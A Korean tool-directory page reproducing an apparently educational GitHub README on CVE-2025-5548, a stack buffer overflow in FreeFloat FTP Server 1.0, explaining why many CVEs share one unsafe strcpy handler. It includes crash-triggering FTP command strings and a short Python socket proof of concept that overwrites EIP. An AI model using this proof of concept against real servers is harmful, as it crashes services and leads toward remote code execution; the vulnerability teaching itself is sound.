Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/themalwareguardian/cve-2025-5548
Vulnerability AnalysisExploitationReverse EngineeringShellcodeDebuggersFuzzingPenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
GitHubthemalwareguardian/cve-2025-5548

CVE-2025-5548

135개월 전아직 검토되지 않음

FreeFloat FTP Server 1.0의 버퍼 오버플로우는 단일 안전하지 않은 핸들러가 여러 명령에 걸쳐 여러 CVE 항목을 생성할 수 있는 방법을 보여줍니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🐞 CVE-2025-5548: FreeFloat FTP Server 1.0 - 스택 기반 버퍼 오버플로우

FreeFloat FTP Server 1.0의 버퍼 오버플로우: 하나의 안전하지 않은 핸들러가 여러 CVE 항목을 생성할 수 있음을 보여줍니다.




📑 목차

  • 이 저장소가 존재하는 이유
  • 이 취약점이 흥미로운 이유
  • 동일한 버그, 여러 CVE
  • 취약점 정보
  • 충돌 유발
  • 익스플로잇



🎓 이 저장소가 존재하는 이유

이 저장소는 메모리 손상 익스플로잇을 가르칠 때 사용하는 자료의 일부입니다. (본업 외에도 여러 사이버 보안 강좌에서 가르치며 차세대 리버스 엔지니어를 양성하는 데 기여하고 있습니다.)

**CVE-2025-5548**은 취약점 연구가 수년간의 경험을 가진 선임 연구자만의 전유물이 아니라 누구나 접근 가능한 기술임을 학생들에게 보여주고자 할 때 사용하는 사례입니다. FreeFloat FTP Server 1.0은 작고 오래된 Windows 애플리케이션으로, 설정이 간단하고 실행 및 충돌 유발도 쉽습니다. 오버플로우는 표준 FTP 명령을 통해 트리거되며, 익스플로잇 경로는 깔끔한 바닐라 EIP 덮어쓰기이고, 퍼징부터 작동하는 셸까지의 전체 과정을 한 세션 안에 완료할 수 있습니다.

이 사례는 제 발표 "당신의 첫 CVE로 이어지는 길" 과도 직접적으로 연결됩니다. 이 발표에서는 초보자가 취약점 연구에 현실적으로 입문할 수 있는 방법 중 하나가 오래된 소프트웨어를 분석하고 내부 동작을 이해하며, 바로 이러한 취약점 클래스를 만들어내는 누락된 길이 검사를 찾는 것이라고 설명합니다. FreeFloat은 실제 버그를 찾아 문서화하는 데 수년의 경험이 필요하지 않으며, 호기심과 디버거, 그리고 체계적인 접근 방식만 있으면 된다는 것을 보여주기 위해 사용하는 예시 중 하나입니다.

이 사례가 교육적으로 특히 효과적인 이유는 CVE 할당 방식에 대한 더 넓은 교훈과 연결되기 때문입니다. FreeFloat의 동일한 안전하지 않은 입력 핸들러는 USER, PASS, NOOP 등 여러 FTP 명령에서 오버플로우를 발생시키며, 각각은 독립적으로 보고되어 별도의 CVE 번호를 받았습니다. 이 바이너리의 CVE 목록을 보고 수십 개의 항목을 접한 학생들은 CVE 개수가 취약점 개수와 같지 않으며, 근본 원인을 이해하는 것이 증상을 목록화하는 것보다 더 가치있다는 사실을 빠르게 배웁니다.

학생들이 이와 같은 사례를 통해 과정을 이해하면, 다음 단계가 무엇인지 실제 예를 들어 보여줍니다. 버퍼 오버플로우와 메모리 손상을 2주 동안 연습한 후, 그들이 찾을 수 있는 유형의 취약점은 이미 실제 소프트웨어에 존재합니다. 다음 저장소는 학습 초기 경로에서 찾을 수 있을 만큼 접근하기 쉬운 대상에 대해 발견, 분석, 문서화, CVE 요청의 전체 사이클을 보여주기 위해 제가 특별히 발견한 취약점을 문서화한 것입니다. CVE-2025-70330 을 참조하세요.

이 저장소는 더 큰 컬렉션의 일부입니다. 다양한 기법, 취약점 유형 및 대상 아키텍처에 걸쳐 익스플로잇을 연습하고 싶다면 Binary-Exploitation 저장소를 살펴보세요. 이 모든 자료가 정리되어 있으며, 더 많은 CVE, 방법론 및 익스플로잇 실습과 함께 유지 관리되고 있습니다.




💡 이 취약점이 흥미로운 이유

이 취약점은 현대적인 보안 관행 없이 작성된 매우 오래된 Windows FTP 서버인 FreeFloat FTP Server 1.0에 영향을 미칩니다. 2025년에 한 연구원이 이 동일한 바이너리에 영향을 미치는 많은 CVE를 보고했습니다.

예시는 다음과 같습니다:

  • CVE-2025-5667
  • CVE-2025-5548
  • CVE-2025-5220
  • CVE-2025-5075
  • 그리고 기타 다수

각 CVE는 서로 다른 FTP 명령을 가리키지만, 프로그램을 리버싱해 보면 많은 CVE가 동일한 취약한 코드 경로에 도달한다는 사실이 명확해집니다.

이로 인해 이 사례는 단순한 버퍼 오버플로우 예제일 뿐만 아니라 다음과 같은 사실을 보여주는 데모로서도 흥미롭습니다:

  • 다른 입력이 동일한 버그를 트리거할 수 있습니다.
  • 레거시 소프트웨어는 여러 안전하지 않은 핸들러를 포함할 수 있습니다.
  • CVE 항목이 항상 완전히 다른 취약점을 나타내는 것은 아닙니다.



🔍 동일한 버그, 여러 CVE

바이너리를 리버싱하면 모든 FTP 명령이 동일한 디스패처 함수에 의해 처리된다는 것을 관찰할 수 있습니다. 명령 문자열은 세션 구조체 내에 저장되며, 여러 명령 처리기가 strcpy, strcat, memcpy와 같은 안전하지 않은 함수를 사용하여 사용자 입력을 고정 크기 버퍼에 복사하고, 수신된 데이터의 길이를 확인하지 않습니다.

이 때문에 CVE 설명이 특정 명령 하나만 언급하더라도 다른 명령이 스택을 덮어쓸 수 있습니다.

예를 들어, 충돌은 다음 명령을 사용하여 트리거될 수 있습니다:

root@kitploit:~
NOOP AAAAA...
USER AAAAA...
PASS AAAAA...
HOST AAAAA...
ANYTHING AAAAA...

유일한 차이점은 반환 주소를 덮어쓰는 데 필요한 바이트 수입니다. 즉, 이 소프트웨어에 대해 보고된 많은 CVE가 동일한 근본 원인을 공유합니다.




⚠️ 취약점 정보

FreeFloat FTP Server는 TCP 포트 21을 통해 수신된 명령을 처리하고 명령 문자열을 내부 세션 구조체에 저장합니다. 이후 명령 처리기는 적절한 길이 검증 없이 사용자 제어 데이터를 로컬 스택 버퍼에 복사합니다.

바이너리를 리버싱하면 여러 명령 처리기가 고정 크기 버퍼와 안전하지 않은 복사 작업을 사용한다는 것을 관찰할 수 있습니다. 취약한 로직의 단순화된 버전은 다음과 같습니다:

root@kitploit:~
char buffer[256];

strcpy(buffer, user_input);

대상 버퍼의 크기가 고정되어 있고 입력 길이가 확인되지 않으므로 긴 문자열을 보내면 복사 작업이 버퍼 끝을 넘어 쓰게 됩니다.

더 많은 데이터가 기록됨에 따라 스택 레이아웃이 손상되어 결국 저장된 반환 주소가 덮어쓰여집니다.

함수가 반환될 때 실행은 사용자 제어 값으로 점프하여 충돌이 발생합니다. 디버거에서 이는 명령 포인터가 공격자가 제어하는 데이터로 덮어쓰여진 것으로 나타납니다.




💥 충돌 유발

충돌은 유효한 FTP 명령 뒤에 긴 문자열을 전송하여 재현할 수 있습니다. Python 예시:

root@kitploit:~
import socket

ip = "127.0.0.1"
port = 21

payload = b"A" * 500

s = socket.socket()
s.connect((ip, port))

s.recv(1024)

s.send(b"USER anonymous\r\n")
s.recv(1024)

s.send(b"PASS anonymous\r\n")
s.recv(1024)

s.send(b"NOOP " + payload + b"\r\n")

s.close()

디버거에서 실행하면 충돌이 다음과 같이 표시됩니다:

root@kitploit:~
EIP = 41414141

이는 사용자 제어 데이터가 반환 주소를 덮어썼음을 확인합니다.




💣 익스플로잇

이 저장소의 목표는 충돌을 보여주는 것뿐만 아니라, 익스플로잇을 개발할 때 일반적으로 사용하는 동일한 방법론을 사용하여 취약점을 단계별로 익스플로잇하는 전체 과정을 시연하는 것입니다.

주요 README를 깔끔하게 유지하기 위해 상세한 익스플로잇 노트, 스크립트 및 디버거 단계는 이 저장소의 Vulnerability 📂 폴더에 배치되었습니다.

그곳에서 퍼징, 오프셋 발견, 배드 캐릭터 분석, 가젯 검색 및 셸코드 실행을 포함한 이 CVE 익스플로잇에 사용된 전체 워크플로우를 찾을 수 있습니다.

도구 다운로드